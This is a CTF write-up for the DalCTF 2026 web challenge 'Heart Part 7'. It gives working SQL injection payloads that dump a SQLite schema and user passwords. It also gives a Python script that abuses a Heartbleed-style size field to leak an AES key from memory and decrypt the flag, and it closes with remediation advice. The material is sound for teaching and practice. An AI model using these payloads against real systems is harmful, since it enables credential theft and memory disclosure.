Challenge: Heart Part 7 · CTF: DalCTF 2026 · Category: Web · Difficulty: Hard

TL;DR

A Kendrick-Lamar-themed Flask app chained three classic bugs into one flag:

  1. SQL injection in the public scroll search leaks the admin password.
  2. Logging in unlocks the “Master’s Chamber” admin panel exposing an internal M.A.A.D Cipher microservice.
  3. That service has a Heartbleed-style buffer over-read ({data, size}) that bleeds the AES-256 master key straight out of process memory.

Decrypt the flag ciphertext with the leaked key:

1
dalctf{p1mp_p1mp_h00r4y}

The challenge name ("Heart Part 7") and the flavor text ("what happens on earth stays on earth" — i.e. memory you weren’t supposed to see) are both giant winks at the intended vuln: Heartbleed (CVE-2014-0160).


Recon

The landing page is a dojo run by “Master Kendrick,” with a navbar pointing at /, /search, and /login. The server header gives the stack away immediately:

1
server: Werkzeug/3.1.8 Python/3.11.15

So we’re looking at a Flask app. One line on the homepage is worth circling:

Every technique is documented, and the most sacred knowledge is kept sealed by the M.A.A.D Cipher.

“Sealed by a cipher” + a members-only portal screams “there’s an encrypted flag and a key hidden somewhere.” Two interactive surfaces stand out:

  • /search?q= — a public technique search.
  • /login — a username/password members portal.

The search form is a plain GET that reflects your query and lists matching technique names. First, baseline behaviour:

1
/search?q=a   →  DNA. , m.A.A.d city , Backseat Freestyle , Alright

Now the universal first probe — a single quote:

1
/search?q='   →  No techniques found for "'".

No 500, no error… but also no crash, which already hints the quote is being swallowed inside a string context. Time for a boolean test:

1
2
q=' OR '1'='1     → returns EVERY technique (HUMBLE., DNA., ELEMENT., ...)
q=xyz' OR '1'='1  → returns NOTHING

That’s a textbook injectable WHERE clause. The OR '1'='1 makes the predicate always true (dumps everything); prefixing a non-matching term keeps both sides false. SQLi confirmed.

Next, find the column count for a UNION. The results table has two columns (Technique / Description), so:

1
q=xyz' UNION SELECT 1,2-- -

renders a row with 1 and 2two columns, both reflected. Game over for the database.

Fingerprinting + schema dump

1
xyz' UNION SELECT sqlite_version(),2-- -      →  3.46.1

SQLite. Pull the whole schema from sqlite_master (using replace(sql, char(10), ' ') to flatten newlines so they survive the HTML table):

1
xyz' UNION SELECT name, replace(sql, char(10), ' ') FROM sqlite_master-- -
1
2
3
scrolls     CREATE TABLE scrolls   ( id, title, content_encrypted, iv )
techniques  CREATE TABLE techniques( id, name, description )
users       CREATE TABLE users     ( id, username, password, role )

Three tables, two of them juicy: users (creds!) and scrolls (the sealed content_encrypted + iv).

Dumping the goods

1
xyz' UNION SELECT username||' | '||role, password FROM users-- -
1
2
admin   | admin   →  duckworth
student | user     →  grasshopper

And the sealed scroll:

1
xyz' UNION SELECT title||' | iv='||iv, content_encrypted FROM scrolls-- -
1
2
The Ancient Knowledge | iv=8rB0/KgrNwf0nMgj5EV4tg==
                        content=czQy8WKOjYFxuXb/ZUeuYLythH7Z4eJGSQJa0LStjmA=

So we have AES-shaped base64 blobs, but no key. Hold that thought — first, let’s use those admin creds.

Admin creds: admin / duckworth (a nod to Kendrick Lamar Duckworth).


Step 2 — The Master’s Chamber

Logging in at /login issues a JWT-looking session cookie and 302-redirects to /admin:

1
2
set-cookie: session=eyJhbGciOiJIUzI1Ni...; HttpOnly; Path=/
location: /admin

/admin — the “Master’s Chamber” — exposes three things via inline JS:

  • Get Encrypted FlagGET /api/flag
  • Check Cipher HealthPOST /cipher/health
  • Manage Techniques → CRUD under /api/techniques

Pull the flag blob:

1
GET /api/flag
1
2
3
4
5
6
7
{
  "algorithm": "AES-256-CBC",
  "ciphertext": "baCIJCXuBcIOJ23q0FS8GDaSN5/71aIqY156ju5Z6oc=",
  "iv": "fcSvIZ1LMw72z34mvr0O5A==",
  "sealed_by": "MAadCipher v1.0",
  "status": "ok"
}

AES-256-CBC, 32 bytes of ciphertext (two blocks), a fresh IV — and still no key. The key has to be hiding in the M.A.A.D Cipher service. Look at the health check the page sends:

1
2
3
4
POST /cipher/health
Content-Type: application/json

{"data": "PING", "size": 4}
1
{ "echo": "UElORw==", "service": "MAadCipher", "status": "ok", ... }

UElORw== decodes to PING. So the service echoes your data back, base64-encoded. But notice it takes a separate size field alongside the data…

data + a separate size field. A length you control, independent of the payload length. If that’s stop-sounding-familiar, the challenge title is literally “Heart”.


Step 3 — Heartbleed

Heartbleed (CVE-2014-0160) is a buffer over-read: the client says “here are N bytes, echo back M bytes”, and a server that trusts M without checking it against N happily copies M bytes out of a buffer — returning whatever adjacent heap memory was sitting after your N bytes.

Here the parallel is exact: we send data (the payload) and size (how much to echo). Let’s ask for more than we send:

1
2
3
4
5
6
7
8
9
import requests, base64
U = "https://dalctf-heart-part-7-277-64616c.instancer.dalctf2026.com"
s = requests.Session()
s.post(U + "/login", data={"username": "admin", "password": "duckworth"})

for size in (16, 64, 256, 1000):
    r = s.post(U + "/cipher/health", json={"data": "PING", "size": size})
    blob = base64.b64decode(r.json()["echo"])
    print(size, "->", len(blob), "bytes")
1
2
3
4
16   ->  16 bytes   b'PING\x00\x00...'
64   ->  64 bytes   b'PING\x00...'   (still mostly zeroes)
256  ->  0 bytes     (rejected)
1000 ->  512 bytes   <-- jackpot

At size=1000 the response clamps to 512 bytes — and that buffer is full of somebody else’s memory:

1
2
b'PING\x00\x00 ... \x00KENDRICK_MASTER_KEY=\x9e\x1b\x8a_\x8e\xd4NG\x11\xc0\xf4v
\x8c\x13\xf5\xa36\xbcJm\xee\xea0w \xa8{\x9f\xcaD\xf0-\x00\x00\x00 ...'

There it is: KENDRICK_MASTER_KEY= followed by exactly 32 raw bytes — the AES-256 key — bled straight out of the cipher service’s heap. What happens on earth stays on earth… except when it leaks over the wire.


Step 4 — Decrypt the Flag

Carve the 32 bytes that follow the KENDRICK_MASTER_KEY= marker, then run a standard AES-256-CBC decrypt with the IV from /api/flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests, base64
from Crypto.Cipher import AES

U = "https://dalctf-heart-part-7-277-64616c.instancer.dalctf2026.com"
s = requests.Session()
s.post(U + "/login", data={"username": "admin", "password": "duckworth"})

# Heartbleed: over-read the heap and grab the key
leak = base64.b64decode(
    s.post(U + "/cipher/health", json={"data": "PING", "size": 1000}).json()["echo"]
)
i   = leak.find(b"KENDRICK_MASTER_KEY=")
key = leak[i + 20 : i + 20 + 32]
print("key:", key.hex())

# Pull the sealed flag and decrypt
f  = s.get(U + "/api/flag").json()
ct = base64.b64decode(f["ciphertext"])
iv = base64.b64decode(f["iv"])
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
print("FLAG:", pt)
1
2
key:  9e1b8a5f8ed44e4711c0f4768c13f5a336bc4a6deeea307720a87b9fca44f02d
FLAG: b'dalctf{p1mp_p1mp_h00r4y}\x08\x08\x08\x08\x08\x08\x08\x08'

Strip the PKCS#7 padding (\x08 × 8) and we’re done:

1
🏴  dalctf{p1mp_p1mp_h00r4y}

Why It Worked — The Chain

No single bug handed over the flag; the difficulty is in stitching them:

#VulnWhat it gave us
1UNION-based SQLi in /searchAdmin password duckworth + the encrypted flag location
2Authenticated admin panelThe /api/flag ciphertext and the internal cipher service
3Heartbleed over-read in /cipher/healthThe AES-256 master key from heap memory
4AES-256-CBC decryptThe flag

The encryption was never the weak point — AES-256-CBC is fine. The weak point was trusting a length field, the exact mistake that made the original Heartbleed so devastating.

Remediation

  • SQLi: use parameterized queries / bound placeholders, never string-concatenate user input into SQL.
  • Heartbleed: validate size <= len(data) (or just drop the field entirely and echo len(data)). Never let a client-supplied length drive a memory copy.
  • Defense in depth: don’t keep long-lived secrets (master keys) in the same process memory exposed by a debug/health echo; and don’t store recoverable plaintext admin passwords.

Lessons / Takeaways

  • A health/echo endpoint with a separate size parameter is a Heartbleed tell — especially when the challenge is literally named “Heart.”
  • Read the flavor text. “what happens on earth stays on earth” = memory disclosure foreshadowing.
  • Always over-read echo endpoints with size > len(payload) and inspect the trailing bytes for KEY=, SECRET=, tokens, or other heap residue.

Sit down, be humble. 🥋